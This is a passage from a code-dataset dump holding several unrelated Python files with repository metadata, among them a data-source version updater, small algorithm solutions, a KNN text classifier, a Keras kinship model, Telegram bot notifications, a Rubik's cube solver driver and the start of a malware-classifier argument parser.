/SIDER/latest/meddra_all_label_se.tsv.gz')[4:].strip())\n ftp.close()\n entry: Entry = {\n 'version': modified_datetime.strftime('%Y.%m.%d'),\n 'files': {\n 'drug_names.tsv': 'http://sideeffects.embl.de/media/download/drug_names.tsv',\n 'drug_atc.tsv': 'http://sideeffects.embl.de/media/download/drug_atc.tsv',\n 'meddra_all_label_indications.tsv.gz': 'ftp://xi.embl.de/SIDER/latest/meddra_all_label_indications.tsv.gz',\n 'meddra_all_label_se.tsv.gz': 'ftp://xi.embl.de/SIDER/latest/meddra_all_label_se.tsv.gz',\n 'meddra_freq.tsv.gz': 'ftp://xi.embl.de/SIDER/latest/meddra_freq.tsv.gz',\n },\n 'latest': True\n }\n return [entry]\n\n\ndef get_unii_entry() -> List[Entry]:\n source = get_website_source('https://fdasis.nlm.nih.gov/srs/jsp/srs/uniiListDownload.jsp')\n pattern = re.compile(r'Last updated: (Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec) ([0-9]{4})')\n matches = pattern.findall(source)\n entry: Entry = {\n 'version': matches[0][1] + '.' + str(MONTHS_SHORT.index(matches[0][0]) + 1),\n 'files': {\n 'UNIIs.zip': 'https://fdasis.nlm.nih.gov/srs/download/srs/UNIIs.zip',\n 'UNII_Data.zip': 'https://fdasis.nlm.nih.gov/srs/download/srs/UNII_Data.zip'\n },\n 'latest': True\n }\n return [entry]\n\n\ndef get_uniprot_entry() -> List[Entry]:\n ftp = FTP('ftp.uniprot.org')\n ftp.login()\n modified_datetime = parser.parse(ftp.voidcmd(\n 'MDTM pub/databases/uniprot/current_release/knowledgebase/taxonomic_divisions/uniprot_sprot_human.xml.gz')[\n 4:].strip())\n ftp.close()\n entry: Entry = {\n 'version': modified_datetime.strftime('%Y.%m.%d'),\n 'files': {\n 'uniprot_sprot_human.xml.gz': 'https://ftp.uniprot.org/pub/databases/uniprot/current_release/' +\n 'knowledgebase/taxonomic_divisions/uniprot_sprot_human.xml.gz'\n },\n 'latest': True\n }\n return [entry]\n\n\ndef get_usda_plants_entry() -> List[Entry]:\n entry: Entry = {\n # No version available\n 'version': None,\n 'files': {\n 'plantlst.txt': 'https://plants.sc.egov.usda.gov/assets/docs/CompletePLANTSList/plantlst.txt'\n },\n 'latest': True\n }\n return [entry]\n\n\ndef try_get_data_source_entry(log, data_source_id, func) -> List[Entry]:\n try:\n versions = func()\n print('Retrieved ' + str(len(versions)) + ' versions for data source \"' + data_source_id + '\"', file=log)\n return versions\n except Exception as e:\n print('Failed to retrieve data source \"' + data_source_id + '\" status', e, file=log)\n return DEFAULT\n\n\nif __name__ == '__main__':\n with open('update-log.txt', 'w', encoding='utf-8') as log:\n print('Updating data sources at ' + datetime.now().isoformat(), file=log)\n result = {\n 'AACT': try_get_data_source_entry(log, 'AACT', get_aact_entry),\n 'CanadianNutrientFile': try_get_data_source_entry(log, 'CanadianNutrientFile',\n get_canadian_nutrient_file_entry),\n 'CancerDrugsDB': try_get_data_source_entry(log, 'CancerDrugsDB', get_cancer_drugs_db_entry),\n 'DGIdb': try_get_data_source_entry(log, 'DGIdb', get_dgidb_entry),\n 'DrugBank': try_get_data_source_entry(log, 'DrugBank', get_drugbank_entry),\n 'DrugCentral': try_get_data_source_entry(log, 'DrugCentral', get_drugcentral_entry),\n 'EMA': try_get_data_source_entry(log, 'EMA', get_ema_entry),\n 'Gene2Phenotype': try_get_data_source_entry(log, 'Gene2Phenotype', get_gene2phenotype_entry),\n 'GeneOntology': try_get_data_source_entry(log, 'GeneOntology', get_gene_ontology_entry),\n 'GWASCatalog': try_get_data_source_entry(log, 'GWASCatalog', get_gwas_catalog_entry),\n 'HGNC': try_get_data_source_entry(log, 'HGNC', get_hgnc_entry),\n 'HPO': try_get_data_source_entry(log, 'HPO', get_hpo_entry),\n 'ITIS': try_get_data_source_entry(log, 'ITIS', get_itis_entry),\n 'KEGG': try_get_data_source_entry(log, 'KEGG', get_kegg_entry),\n 'MED-RT': try_get_data_source_entry(log, 'MED-RT', get_med_rt_entry),\n 'Mondo': try_get_data_source_entry(log, 'Mondo', get_mondo_entry),\n 'NDF-RT': try_get_data_source_entry(log, 'NDF-RT', get_ndf_rt_entry),\n 'OpenTargets': try_get_data_source_entry(log, 'OpenTargets', get_open_targets_entry),\n 'PathwayCommons': try_get_data_source_entry(log, 'PathwayCommons', get_pathway_commons_entry),\n 'PharmGKB': try_get_data_source_entry(log, 'PharmGKB', get_pharmgkb_entry),\n 'ReDO-DB': try_get_data_source_entry(log, 'ReDO-DB', get_redo_db_entry),\n 'ReDOTrialsDB': try_get_data_source_entry(log, 'ReDOTrialsDB', get_redo_trials_db_entry),\n 'Sider': try_get_data_source_entry(log, 'Sider', get_sider_entry),\n 'UNII': try_get_data_source_entry(log, 'UNII', get_unii_entry),\n 'UniProt': try_get_data_source_entry(log, 'UniProt', get_uniprot_entry),\n 'USDA-PLANTS': try_get_data_source_entry(log, 'USDA-PLANTS', get_usda_plants_entry),\n }\n with open('result.json', 'w', encoding='utf-8') as f:\n json.dump(result, f, indent=2, sort_keys=True)\n with open('result.min.json', 'w', encoding='utf-8') as f:\n json.dump(result, f)\n","repo_name":"BioDWH2/DataSource-Status","sub_path":"update.py","file_name":"update.py","file_ext":"py","file_size_in_byte":22527,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"39225786488","text":"# input 값으로 score 리스트 생성\nscore = []\n\nfor i in range(10):\n score.append(int(input())) # [10, 20, 30, 40, 50, 60, 70, 80, 90, 100]\n\n\nresult = 0\n\nfor j in score:\n result += j\n if result >= 100: # 계산 결과 100 이상 if문 시작\n if result - 100 > 100 - (result - j): # \"계산 이후 - 100\" > \"100 - 계산 이전\"\n result -= j #계산 이후 값이 크다면(100에서 멀다면), 계산 이전 출력\n break # 값이 같다면, 계산 이후 출력\n\nprint(result)","repo_name":"unboxing96/ALGO","sub_path":"백준/Bronze/2851. 슈퍼 마리오/슈퍼 마리오.py","file_name":"슈퍼 마리오.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"35525487049","text":"import argparse\nimport re\n\narg_parser = argparse.ArgumentParser()\n\narg_parser.add_argument(\"alignment_file\")\n\nargs = arg_parser.parse_args()\n\ninfile = open(args.alignment_file, \"r\")\noutfile = open(args.alignment_file + \".aligned\", \"w\")\nfor line in infile:\n if line.startswith(\"NULL \"):\n alignment = []\n als = re.findall(\"\\(\\{(.*?)\\}\\)\", line.strip())\n for i, entry in enumerate(als[1:]):\n entry = entry.strip()\n if entry:\n for j in entry.split(\" \"):\n alignment.append((i, int(j)-1))\n\n alignment = [str(i)+\"-\"+str(j)for (i,j) in alignment]\n outfile.write(\" \".join(alignment) + \"\\n\")\n\ninfile.close()\noutfile.close()\n","repo_name":"mrmutator/alignment","sub_path":"word_alignment/giza/Parse.py","file_name":"Parse.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"27302708428","text":"\ndef create_tabular_data(scorecard_data, num_of_sets):\n table_data = []\n while len(scorecard_data) != num_of_sets+1:\n scorecard_data.append(('-','-'))\n rows = list(zip(*scorecard_data))\n sets_names = [\"Team Name\"]\n sets_names.extend([f\"Set-{str(i+1)}\" for i in range(num_of_sets)])\n table_data.append(sets_names)\n table_data.extend(rows)\n return table_data\n\ndef disply_table(table_data):\n for row in table_data:\n msg = \"{: >6}\"*len(table_data[0])\n print(f\"{msg}\".format(*row))\n\n","repo_name":"patil-ashutosh/TableTennis","sub_path":"src/game/common/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":527,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"14332851911","text":"import urllib2 #change to python3 \nimport datetime\n\n\ndef extractInfo(url):\n\t\n\tpage = urllib2.urlopen(url).read()\n\tpage = page[page.find(\"Booking Schedule\"):page.find(\"thedate\")]\n\tpalce = page.split(\"<td>\")\n\tpalce= palce[1:]\n\tpalce = list(map(lambda string : string[:string.find(\"</td>\")],palce))\n\ttem, tem2 = palce[::2],palce[1::2]\n\t\n\ttem3 =list(map(lambda string : to24H(string),tem))\n\ttem4 =[]\n\tfor x in tem3:\n\t\tif(x is None): \n\t\t\tbreak\n\t\ttem4.append(x[0])\n\t\ttem4.append(x[1])\n\ttem, tem3 = tem4[::2],tem4[1::2]\n\ttupleList = zip(tem,tem3,tem2)\n\treturn tupleList\n\ndef to24H(timeString):\n\tif \"No\" in timeString: \n\t\treturn None\n\ttime = timeString.split(\" - \")\n\tresult = []\n\tfor x in time:\n\t\t#print(x)\n\t\tif x[1] != ':':\n\t\t\thours = int(x[:2])\n\t\telse:\n\t\t\thours = int(x[0])\n\t\t\t\n\t\tif \"pm\" in x and hours != 12:\n\t\t\tresult.append(str((hours+12)*100))\n\t\telif hours == 12 and \"am\" in x: \n\t\t\tresult.append(str(0000))\n\t\telse:\n\t\t\tresult.append(str(hours*100))\n\treturn result\n\t\ndef printf(list):\n\tfor room in list:\n\t\tprint(room)\n\t\tprint(list[room])\n\t\tprint(\"\\n\")\n\t\t\ndef getBooking(buildingName):\n\trooms = [\"DR1\",\"DR2\",\"DR3\",\"DR4\",\"DR6\",\"DR7\",\"DR8\",\"DR9\",\"DR10\",\"DR11\",\"DR12\",\"ExecutiveClassRm\",\"MR1\",\"MR2\",\"MR3\",\"MR4\",\"MR5\",\"MR6\",\"MR7\",\"VideoConf\"]\n\tnow = datetime.datetime.now()\n\n#urllib2.urlopen(\"https://mysoc.nus.edu.sg/~calendar/getBooking.cgi?room=DR2&thedate=2018/01/30\").read()\n#print(extractInfo(\"https://mysoc.nus.edu.sg/~calendar/getBooking.cgi?room=\"+rooms[0]+\"&thedate=2018/01/30\"))\n\tschedule = dict()\n\tbuildingSchedule = { \n\t\t'COM1': dict(),\n\t\t'COM2': dict(),\n\t\t'I-CUBE': dict(),\n\t\t'AS6': dict(),\n\t}\n\t#print(buildingSchedule)\n\tfor room in rooms:\n\t\t#print(room)\n\t\tif buildingName == \"COM1\" and rooms.index(room)<4 or rooms.index(room) == 10 or (rooms.index(room)>12 and rooms.index(room)<17 and rooms.index(room) != 14) or rooms.index(room)> len(rooms)-2:\n\t\t\tschedule = {room:extractInfo(\"https://mysoc.nus.edu.sg/~calendar/getBooking.cgi?room=\"+room+\"&thedate=\"+str(now.year)+\"/\"+\"2\"+\"/\"+\"2\")}\n\t\t\tbuildingSchedule[\"COM1\"].update(schedule.items())\n\t\telif buildingName == \"COM2\" and (rooms.index(room)>3 and rooms.index(room)<10) or rooms.index(room) == 11 or rooms.index(room) == 14: \n\t\t\tschedule = {room:extractInfo(\"https://mysoc.nus.edu.sg/~calendar/getBooking.cgi?room=\"+room+\"&thedate=\"+str(now.year)+\"/\"+\"2\"+\"/\"+\"2\")}\n\t\t\tbuildingSchedule[\"COM2\"].update(schedule.items())\n\t\telif buildingName == \"AS6\" and rooms.index(room) == 17 :\n\t\t\tschedule = {room:extractInfo(\"https://mysoc.nus.edu.sg/~calendar/getBooking.cgi?room=\"+room+\"&thedate=\"+str(now.year)+\"/\"+\"2\"+\"/\"+\"2\")}\n\t\t\tbuildingSchedule[\"AS6\"].update(schedule.items())\n\t\telif buildingName == \"i3\" and rooms.index(room)>17 and rooms.index(room)<21:\n\t\t\tschedule = {room:extractInfo(\"https://mysoc.nus.edu.sg/~calendar/getBooking.cgi?room=\"+room+\"&thedate=\"+str(now.year)+\"/\"+\"2\"+\"/\"+\"2\")}\n\t\t\tbuildingSchedule[\"I-CUBE\"].update(schedule.items())\n\t\t#printf(buildingSchedule)\n\treturn buildingSchedule\n\t#schedule[room] = extractInfo(\"https://mysoc.nus.edu.sg/~calendar/getBooking.cgi?room=\"+room+\"&thedate=\"+str(now.year)+\"/\"+str(now.month)+\"/\"+str(now.day))\n\t#for room in schedule:\n\t#\tprint(room);print(schedule[room])\n#list = getBooking()\n#print(list[\"COM1\"][\"MR1\"])","repo_name":"caijun7/nus_studyrooms","sub_path":"booking_parser.py","file_name":"booking_parser.py","file_ext":"py","file_size_in_byte":3218,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"12825238790","text":"from setuptools import setup, find_packages\nimport io\nimport os\n\n\ndef read(*parts):\n \"\"\"Reads the content of the file located at path created from *parts*.\"\"\"\n try:\n return io.open(os.path.join(*parts), 'r', encoding='utf-8').read()\n except IOError:\n return ''\n\n\nrequirements = read('requirements', 'main.txt').splitlines()\n\nsetup(\n name='linkedin',\n packages=find_packages(),\n include_package_data=True,\n install_requires=requirements,\n)","repo_name":"annapavt/linkedin_example_flask","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":473,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"8871732402","text":"class Solution:\n def moveZeroes(self, nums: List[int]) -> None:\n \"\"\"\n Do not return anything, modify nums in-place instead.\n \"\"\"\n ## other solution\n nums.sort(key=bool, reverse=True)\n \n ## my solution - solved\n if len(nums) == 1:\n nums = nums\n for i in range(len(nums)):\n if nums[i] == 0:\n nums.remove(nums[i])\n nums.append(0)\n \n print(nums)","repo_name":"kz422/LC_py","sub_path":"283-move-zeroes/283-move-zeroes.py","file_name":"283-move-zeroes.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"70770301051","text":"'''\nKNN heavily borrowed from: https://github.com/weiyujian/knn-classification\n'''\nimport jieba\nimport _pickle as cPickle\nfrom nltk.util import ngrams as ingrams\nfrom gensim import corpora, models, similarities\n\nimport my_setting.utils as utils\n\n\nclass KNN():\n def __init__(self):\n print()\n\n def get_seg_list(self, query):\n seg_list = jieba.cut(query)\n return seg_list\n\n def prepare_data(self, file_name):\n fw = open(utils.cfg.get('PROCESSED_DATA', 'knn_train_path'), \"w\")\n with open(file_name) as f:\n for line in f:\n tmp_list = line.strip().split('\\t')\n if len(tmp_list) != 2: continue\n query = tmp_list[1]\n label = tmp_list[0]\n query_seg_list = self.get_seg_list(query)\n query_seg = ' '.join(query_seg_list).encode('utf-8')\n label_seg_list = self.get_seg_list(label)\n label_seg = ' '.join(label_seg_list).encode('utf-8')\n fw.write(str(query) + \"\\t\" + str(query_seg) + \"\\t\" + str(label) + \"\\t\" + str(label_seg) + \"\\n\")\n fw.close()\n\n def get_ngram(self, text, max_len, stop_set):\n word_list = []\n for inx in range(1, max_len + 1, 1):\n gram_list = self.generate_ngram(text, stop_set, inx)\n word_list += [word for word in gram_list if word not in stop_set]\n word_list += self.generate_skipgram(text, stop_set)\n return \" \".join(word_list)\n\n def generate_ngram(self, text, stop_set, ngram_len):\n words = text.split(\" \")\n ngram_list = []\n for wlist in ingrams(words, ngram_len, pad_right=True):\n if wlist[0] is None: continue\n skip = False\n w_inx = 0\n while w_inx < ngram_len:\n if wlist[w_inx] is None or wlist[w_inx] in stop_set:\n skip = True\n break\n w_inx += 1\n if skip: continue\n ngram_list.append(\"_\".join(wlist))\n return ngram_list\n\n def generate_skipgram(self, text, stop_set, ngram_len=16):\n words = text.split(\" \")\n pair_set = set()\n for inx in range(len(words)):\n if words[inx] in stop_set: continue\n for iny in range(1, ngram_len, 1):\n if inx + iny >= len(words): break\n if words[inx + iny] in stop_set: continue\n pair_set.add(words[inx] + \"|\" + words[inx + iny])\n return list(pair_set)\n\n def read_label(self, file_name):\n f = open(file_name)\n label_map = {}\n seg_map = {}\n data_list = []\n check = set([])\n for line in f:\n tmp_list = line.strip().split(\"\\t\")\n if len(tmp_list) != 4: continue\n query_raw = tmp_list[0]\n query_seg = tmp_list[1]\n label_raw = tmp_list[2]\n label_seg = tmp_list[3]\n seg_map[query_raw] = query_seg\n seg_map[label_raw] = label_seg\n label_map[query_raw] = label_raw\n label_map[label_raw] = label_raw\n if label_raw not in check:\n check.add(label_raw)\n data_list.append((label_raw, label_seg))\n if query_raw not in check:\n check.add(query_raw)\n data_list.append((query_raw, query_seg))\n f.close()\n return label_map, seg_map, data_list\n\n def read_test(self, file_name):\n f = open(file_name)\n label_map = {}\n seg_map = {}\n data_list = []\n for line in f:\n tmp_list = line.strip().split(\"\\t\")\n if len(tmp_list) != 4: continue\n query_raw = tmp_list[0]\n query_seg = tmp_list[1]\n label_raw = tmp_list[2]\n label_seg = tmp_list[3]\n seg_map[query_raw] = query_seg\n label_map[query_raw] = label_raw\n data_list.append((query_raw, query_seg))\n f.close()\n return label_map, seg_map, data_list\n\n def generate_model(self, data_list, stop_set=set([])):\n texts = []\n for inx in range(len(data_list)):\n sent, seg = data_list[inx]\n text = self.get_ngram(seg, 2, stop_set) # bi_gram和skip_gram增强上下文信息\n texts.append(text.split(\" \"))\n dictionary = corpora.Dictionary(texts) # 获取texts中所有词,作为词表,每个词会分配一个id,形成词袋模型\n # Dictionary.keys():word-id Dictionary.values():word\n ret_list = []\n for text in texts:\n freq_text = dictionary.doc2bow(text) # 把所有语料转化为bag of words,计算text中每个词对应的id以及出现的频率,返回稀疏矩阵(id,freq)\n ret_list.append(freq_text)\n tfidf = models.TfidfModel(ret_list) # 使用tf-idf模型得出该数据集的tf-idf 模型\n vect_list = tfidf[ret_list] # 此处已经计��得出所有样本的tf-idf值,即得到了每个样本的(id,tf-idf)\n index = similarities.SparseMatrixSimilarity(vect_list, num_features=len(dictionary.keys()),\n num_best=10) # 把所有样本做成索引,相似度查询,返回topn最相近的文档\n return tfidf, index, dictionary\n\n def get_top(self, index, tfidf, dictionary, train_list, seg, stop_set=set([])):\n text = self.get_ngram(seg, 2, stop_set)\n freq_text = dictionary.doc2bow(text.split(\" \")) # 把测试语料转为词袋,得到[(id,freq),(id,freq)]\n vect = tfidf[freq_text] # 直接使用之前得出的tf-idf 模型即可得出该条测试语料的tf-idf 值,得到[(id,tf-idf),(id,tf-idf)]\n sims = index[vect] # 利用索引计算每一条训练样本和该测试样本之间的相似度,返回top n最相近的训练样本\n top_set = {}\n for inx, score in sims:\n if score <= 0: continue\n sim_text = train_list[inx][0]\n if sim_text == seg: continue\n top_set[sim_text] = score\n return top_set\n\n def eval_top(self, train_label_map, top_set):\n label_score = {}\n for query, score in top_set.items():\n pred = train_label_map.get(query, \"\")\n if pred == \"\": continue\n if pred not in label_score:\n label_score[pred] = 0\n label_score[pred] += score\n max_score = -1.0\n max_label = \"\"\n for label in label_score:\n if label_score[label] > max_score:\n max_score = label_score[label]\n max_label = label\n return max_label, max_score\n\n def train(self, train_file, model_version, stop_set):\n train_label_map, _, train_list = self.read_label(train_file)\n tfidf, index, dictionary = self.generate_model(train_list, stop_set)\n cPickle.dump([tfidf, index, dictionary, train_label_map, train_list], open(model_version, \"wb\"))\n return\n\n def predict_batch(self, test_file, model_version, stop_set):\n fw = open(test_file + \".out\", \"w\")\n test_label_map, _, test_list = self.read_test(test_file)\n tfidf, index, dictionary, train_label_map, train_list = cPickle.load(open(model_version, \"rb\"))\n total_cnt = len(test_list)\n acc_cnt = 0\n for test_raw, test_seg in test_list:\n top_set = self.get_top(index, tfidf, dictionary, train_list, test_seg, stop_set)\n max_label, max_score = self.eval_top(train_label_map, top_set)\n fw.write(test_raw + \"\\t\" + test_label_map[test_raw] + \"\\t\" + max_label + \"\\t\" + str(max_score) + \"\\n\")\n if max_label == test_label_map[test_raw]:\n acc_cnt += 1\n acc = 1.0 * acc_cnt / total_cnt\n print(\"acc_cnt:\", acc_cnt)\n print(\"total_cnt:\", total_cnt)\n print(\"acc:\", acc)\n fw.write(\"acc:\" + \"\\t\" + str(acc) + \"\\t\" + \"total_cnt:\" + \"\\t\" + str(total_cnt) + \"\\n\")\n fw.close()\n return\n\n\nif __name__ == '__main__':\n stop_set = set([])\n worker = KNN()\n\n worker.prepare_data(utils.cfg.get('PROCESSED_DATA', 'knn_hashtag_weibo_content_path'))\n worker.train(utils.cfg.get('PROCESSED_DATA', 'knn_train_path'), utils.cfg.get('COMMON_MODEL', 'knn_model_path'),\n stop_set)\n worker.prepare_data(utils.cfg.get('PROCESSED_DATA', 'knn_test_path'),\n utils.cfg.get('COMMON_MODEL', 'knn_model_path'),\n stop_set)\n","repo_name":"FernandoZhuang/Emotion-recognition-of-netizens-during-the-epidemic","sub_path":"Code/TextClassification.py","file_name":"TextClassification.py","file_ext":"py","file_size_in_byte":8482,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"21700019472","text":"# implementing a new model, this time with keras to overcome the bug\n\nfrom __future__ import print_function\nfrom laedr import modeleag as laedrM\nfrom laedr import network as laedrNetwork\nimport sklearn\nimport tensorflow as tf\nimport numpy as np\nimport sys\nimport os\n\npretrainedLaedrModelPath = './laedr/model/'\n\nclass LAEDR_AIM(laedrM.Model):\n def initialize(self):\n self.encoder = laedrNetwork.EncoderNet()\n optim_default = tf.compat.v1.train.AdamOptimizer(0.0001)\n saver = laedrM.Saver(self, optim_default)\n saver.restore(pretrainedLaedrModelPath)\n\n\n\nLAEDR_model = None\n\n\n# we build a keras layer for our LAEDR model.\nclass Laedr_layer(tf.compat.v1.keras.layers.Layer):\n def __init__(self, encoder):\n self.encoder =encoder \n self.trainable = False\n super(Laedr_layer, self).__init__(\n trainable=False,\n name=None,\n dtype=None,\n dynamic=False\n )\n\n\n def build(self, input_shape):\n super(Laedr_layer, self).build(input_shape)\n\n def call(self, x):\n return self.encoder(x)\n\n\n\n\n\ndef create_model_v3():\n global LAEDR_model\n LAEDR_model = LAEDR_AIM()\n LAEDR_model.encoder.trainable = False\n\n input_mothers = tf.keras.Input(shape=(128, 128, 3))\n input_fathers = tf.keras.Input(shape=(128, 128, 3))\n input_children = tf.keras.Input(shape=(128, 128, 3))\n\n\n mother_aif = LAEDR_model.encoder(input_mothers)\n father_aif = LAEDR_model.encoder(input_fathers)\n child_aif = LAEDR_model.encoder(input_children)\n\n\n # cm net: concat child and mother, and add dense layers\n cm_concat = tf.keras.layers.concatenate([child_aif, mother_aif], axis=1)\n\n cm_layer = tf.keras.layers.Dense(90, activation=tf.nn.sigmoid, use_bias = False)(cm_concat)\n cm_layer = tf.keras.layers.Dense(80, activation=tf.nn.sigmoid, use_bias = False)(cm_layer)\n cm_layer = tf.keras.layers.Dense(70, activation=tf.nn.sigmoid, use_bias = False)(cm_layer)\n cm_layer = tf.keras.layers.Dense(60, activation=tf.nn.sigmoid, use_bias = False)(cm_layer)\n\n\n # cf net: concat child and father, and add dense layers\n cf_concat = tf.keras.layers.concatenate([child_aif, father_aif], axis=1)\n cf_layer = tf.keras.layers.Dense(90, activation=tf.nn.sigmoid, use_bias = False)(cf_concat)\n cf_layer = tf.keras.layers.Dense(80, activation=tf.nn.sigmoid, use_bias = False)(cf_concat)\n cf_layer = tf.keras.layers.Dense(70, activation=tf.nn.sigmoid, use_bias = False)(cf_concat)\n cf_layer = tf.keras.layers.Dense(60, activation=tf.nn.sigmoid, use_bias = False)(cf_concat)\n\n\n\n # merge cm and cf nets. create final layer\n cf_cm_concat = tf.keras.layers.concatenate([cf_layer, cm_layer], axis=1)\n final_layer = tf.keras.layers.Dense(100, activation=tf.nn.sigmoid, use_bias=True)(cf_cm_concat)\n final_layer = tf.keras.layers.Dense(75, activation=tf.nn.sigmoid, use_bias=True)(final_layer)\n final_layer = tf.keras.layers.Dense(50, activation=tf.nn.sigmoid, use_bias=True)(final_layer)\n final_layer = tf.keras.layers.Dense(25, activation=tf.nn.sigmoid, use_bias=True)(final_layer)\n final_layer = tf.keras.layers.Dense(10, activation=tf.nn.sigmoid, use_bias=True)(final_layer)\n final_layer = tf.keras.layers.Dense(1, activation=tf.nn.sigmoid, use_bias=True)(final_layer)\n model_output = final_layer\n\n\n model = tf.keras.Model(inputs=[input_fathers, input_mothers, input_children], outputs=model_output) \n return model\n\n# shuffles the batches such that we have a binary label vector of length 2N (1 for related, 0 for not), and three 2N x 128 x 128 x 3 matrices of batches (one for father, one for mother and one for child)\n# returns dad_Batch, mom_Batch, child_batch, labels\ndef shuffle_to_train(batch_fathers, batch_mothers, batch_pos_children, batch_neg_children):\n # randomly permute the fathers with their positive children, and the same fathers with their negative children. This is to be shuffled by the use of the np.random.permutation, by using the same seed.\n p = np.random.permutation(batch_fathers.shape[0] * 2) \n bf = np.tile(batch_fathers, (2,1,1,1))\n bf = bf[p]\n bm = np.tile(batch_mothers, (2,1,1,1))\n bm = bm[p]\n bc = np.vstack((batch_pos_children, batch_neg_children))\n bc = bc[p]\n\n labels = np.concatenate((np.ones(batch_fathers.shape[0]), np.zeros(batch_fathers.shape[0])))[p]\n return bf, bm, bc, labels\n\n","repo_name":"willyspinner/missing-child","sub_path":"src/ml/model_v3.py","file_name":"model_v3.py","file_ext":"py","file_size_in_byte":4399,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"18210890545","text":"import logging\n\nfrom aiogram import Dispatcher\n# import telebot\nimport aiogram\n\nfrom tgbot.config import ADMINS_ID, TOKEN\n\nfrom tgbot.utils import qiwi_api\n\n# bot = telebot.TeleBot(TOKEN)\nbot = aiogram.Bot(TOKEN)\n\n\nasync def on_startup_notify(dp: Dispatcher):\n for admin in ADMINS_ID:\n try:\n await dp.bot.send_message(admin, \"Бот Запущен\")\n\n except Exception as err:\n logging.exception(err)\n\n\ndef send_result_to_creator(result, creator_id, game_id, amount, numb, username):\n if result:\n bot.send_message(chat_id=creator_id, text=f\"🏁Игра №{game_id} окончена\\n\"\n f\"Поздравляю, вы победили!\\n\\n\"\n f\"Противник: @{username}\\n\"\n f\"Выпавшее число: {numb}\\n\"\n f\"Сумма ставки: {amount}\\n\")\n else:\n bot.send_message(chat_id=creator_id, text=f\"🏁Игра №{game_id} окончена\\n\"\n f\"К сожалению, вы проиграли(\\n\\n\"\n f\"Противник: {username}\"\n f\"Выпавшее число: {numb}\\n\"\n f\"Сумма ставки: {amount}\\n\")\n\n\ndef send_payment_info(amount, user):\n bot.send_message(chat_id=\"-1001178054212\", text=f\"Баланс пользователя @{user} был пополнен на {amount} руб\\n\"\n f\"Баланс кошелька бота: {qiwi_api.qiwi.check_balance()}\")\n\n\ndef send_withdraw_info(amount, user):\n bot.send_message(chat_id=\"-1001178054212\", text=f\"Новая заявка на вывод от @{user} на {amount - amount / 10} руб\\n\"\n f\"Баланс кошелька бота: {qiwi_api.qiwi.check_balance()} руб\")\n","repo_name":"Psopis/dice_bot_remake","sub_path":"tgbot/utils/telebot_part.py","file_name":"telebot_part.py","file_ext":"py","file_size_in_byte":2119,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"32164810930","text":"from cube import *\nfrom algoritmus import *\n# from solver import *\n\"\"\"\n A Rubik-kocka animációja \n\"\"\"\n# cubeba import algoritmus és csak cubeot használunk\n# main -> cube és algoritmus\n#\n# algoritmusba cube import nem kell\n# helyette cube-ból a nem cube methodok átkerülnek az algoritmusba\n\nc = Cube() #Cube object létrehozása\nc.cube_method_all_side_loader() #Cube kiszínezése\nc.cube_method_mixer() #Cube bekeverése ( default 20 lépés )\n\nprint(c.historystring) # bekeverés lépései\ncube_solver(c) #a kocka kirakás lépéseinek legyártása\n\nprint(c.historystring) # a kirakási lépések string-je\nprint(len(c.historystring)) # a kirakás lépéseinek száma\n\n\"\"\"\n Statisztikai tesztek:\n\"\"\"\n\nd = Cube() # Összehasonlításhoz kirakott Rubik-kocka\nd.cube_method_all_side_loader()\nl=[] #ide gyűjti a tesztek értékét\nk=[] #kirakások hossza\nfor i in range(100): # kb egy perc alatt megvan 1000szer ellenőrizve\n e = Cube()\n e.cube_method_all_side_loader()\n e.cube_method_mixer(100) #100 random keverési lépés\n mixer_len = len(e.historystring)\n cube_solver(e)\n l.append(cube_check(e, d)) # leellenőrzi a két kocka közötti kis cubie-kat\n k.append(len(e.historystring)-mixer_len)\nprint(l)\na=0\nfor i in range(len(l)):\n if l[i]==False: #megnézi, hogy lett e hibás cubie\n a+=1\nprint(a) # hibás esetek száma\n\nprint(sum(k)/100) # az átlagos kirakási lépés hossz ( ebben benne van, hogy a visszaforgatásokat, három rendes írányú forgatásként számolja )\n\nc.cube_method_3d_drawer(c.historystring)# a kirakás animációja\n\n\n","repo_name":"csabajozsef/rubiks_cube","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1592,"program_lang":"python","lang":"hu","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"33289413723","text":"import argparse\nimport os\n\n# Import User packages\nfrom models import Data\nfrom models import Chen2018\nfrom models import Le2018\nfrom models import Nataraj2011\nfrom models import Raff2017\nfrom models.Augmenter import RandomInjection, RandomReorder\n\ndef get_args(argv=None):\n parser = argparse.ArgumentParser(description=\"Paper Title\")\n\n parser.add_argument(\n '-p',\n '--path',\n required=True,\n help='Path to malware dataset folder.'\n )\n parser.add_argument(\n '-t',\n '--technique',\n choices=[\n 'knn_gist',\n 'knn_lbp',\n 'malconv',\n 'le2018-cnn',\n 'le2018-cnn-lstm',\n 'le2018-cnn-lstm-bidirectional',\n 'inceptionv1',\n ],\n required=True,\n help='Technique to be trained/tested.'\n )\n parser.add_argument(\n \"-f\",\n \"--folds\",\n type=int,\n default=1,\n help=\"Number of folds to be used.\"\n )\n parser.add_argument(\n \"-sm\",\n \"--split_method\",\n choices=[\n 'nataraj',\n 'stratified_kfold',\n 'regular_kfold',\n ],\n default='nataraj',\n help=\"Method use to split the dataset samples in train/validation/test.\"\n )\n parser.add_argument(\n \"-e\",\n 